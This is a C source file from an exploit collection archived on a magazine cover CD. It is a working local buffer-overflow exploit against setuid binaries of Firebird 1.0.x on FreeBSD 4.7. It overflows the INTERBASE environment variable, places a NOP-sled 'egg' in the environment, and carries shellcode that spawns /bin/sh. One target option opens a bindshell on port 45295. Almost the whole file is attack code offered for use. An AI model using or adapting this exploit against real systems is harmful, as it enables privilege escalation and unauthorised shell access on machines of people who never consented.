home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / firebird / DSR-olbird.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  146 lines
  1. /* DSR-olbird.c by bob@dtors.net
  2.    -------------------------------
  3.  
  4. Same exploit as DSR-firebird.c apart from this version
  5. exploits Firebird 1.0.0 which is shipped with freebsd.
  6.  
  7. [diif] ret addr && LEN [/diif]
  8.  
  9. bob@dtors.net
  10. */
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #define LOCK    "/usr/local/firebird/bin/gds_lock_mgr"
  17. #define DROP    "/usr/local/firebird/bin/gds_drop"
  18. #define INET    "/usr/local/firebird/bin/gds_inet_server"
  19. #define LEN     1032
  20.  
  21. char dropcode[]=
  22.         "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
  23.         "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  24.       "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
  25.       "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 
  26.  
  27. char inetcode[]=
  28.         "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
  29.         "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  30.       "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
  31.       "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 
  32.  
  33.                             
  34.  
  35. char lockcode[]= 
  36.     "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
  37.     "\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
  38.     "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob
  39.     "\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
  40.     "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  41.     "\x61\xcd\x80\x89\xc7\x31\xc0\x50"
  42.     "\x50\x50\x66\x68\xb0\xef\xb7\x02"
  43.       "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
  44.       "\x53\x51\x57\x50\xb0\x68\xcd\x80"
  45.       "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
  46.       "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
  47.       "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
  48.       "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
  49.       "\xe2\x50\x51\x52\xb3\x14\x53\x50"
  50.       "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
  51.       "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
  52.       "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
  53.       "\x39\xc3\x75\x44\x31\xc0\x57\x50"
  54.       "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
  55.       "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
  56.       "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
  57.       "\x80\x31\xc0\x43\x53\x56\x50\xb0"
  58.       "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
  59.       "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
  60.       "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
  61.       "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
  62.       "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
  63.       "\xeb\x9a";
  64.  
  65. char *decide(char *string)
  66. {
  67.     if(!(strcmp(string, "1")))
  68.       return((char *)&inetcode);
  69.     if(!(strcmp(string, "2")))
  70.       return((char *)&lockcode);
  71.     if(!(strcmp(string, "3")))
  72.       return((char *)&dropcode);
  73.     exit(0);
  74. }
  75.  
  76. int main(int argc, char **argv)
  77. {
  78.     
  79.     unsigned long ret = 0xbfbff75d;
  80.       
  81.     char *selectcode;
  82.     char buffer[LEN];
  83.     char egg[1024];
  84.     char *ptr;
  85.     int i=0;
  86.  
  87.   
  88.  
  89.     if(argc < 2)
  90.     {
  91.         printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n"); 
  92.         printf("( (                           by - bob@dtors.net ) )\n");
  93.         printf("----------------------------------------------------\n\n");
  94.         printf("Usage: %s <target#> \n", argv[0]);
  95.         printf("Targets:\n");
  96.         printf("1. [0xbfbff75c] - gds_inet_server\n");
  97.         printf("2. [0xbfbff75d] - gds_lock_mgr\n");
  98.         printf("3. [0xbfbff75e] - gds_drop\n");
  99.         printf("\nwww.dtors.net\n");
  100.         exit(0);
  101.     }
  102.   
  103.     selectcode = (char *)decide(argv[1]);
  104.       memset(buffer, 0x41, sizeof(buffer));
  105.  
  106.         ptr = egg;
  107.  
  108.         for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
  109.         for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
  110.         egg[1024 - 1] = '\0';
  111.  
  112.         memcpy(egg,"EGG=",4);
  113.         putenv(egg);
  114.  
  115.         memcpy(&buffer[1028],(char *)&ret,4);
  116.         buffer[1032] = 0;
  117.  
  118.         setenv("INTERBASE", buffer, 1);
  119.  
  120.         fprintf(stdout, "Return Address: 0x%x\n", ret);
  121.         fprintf(stdout, "Buffer Size: %d\n", LEN);
  122.         fprintf(stdout, "Setuid [90]\n");
  123.  
  124. if(selectcode == (char *)&inetcode)
  125.   {
  126.     execl(INET, INET, NULL);
  127.     return 0;
  128.    }
  129.  
  130. if(selectcode == (char *)&lockcode)
  131.   {
  132.      printf("\nShell is on port 45295\nExploit will hang!\n");
  133.     execl(LOCK, LOCK, NULL);
  134.     return 0;
  135.    }
  136.  
  137. if(selectcode == (char *)&dropcode)
  138.   {
  139.     execl(DROP, DROP, NULL);
  140.     return 0;
  141.    }
  142.  
  143.     
  144.     return 0;
  145. }
  146.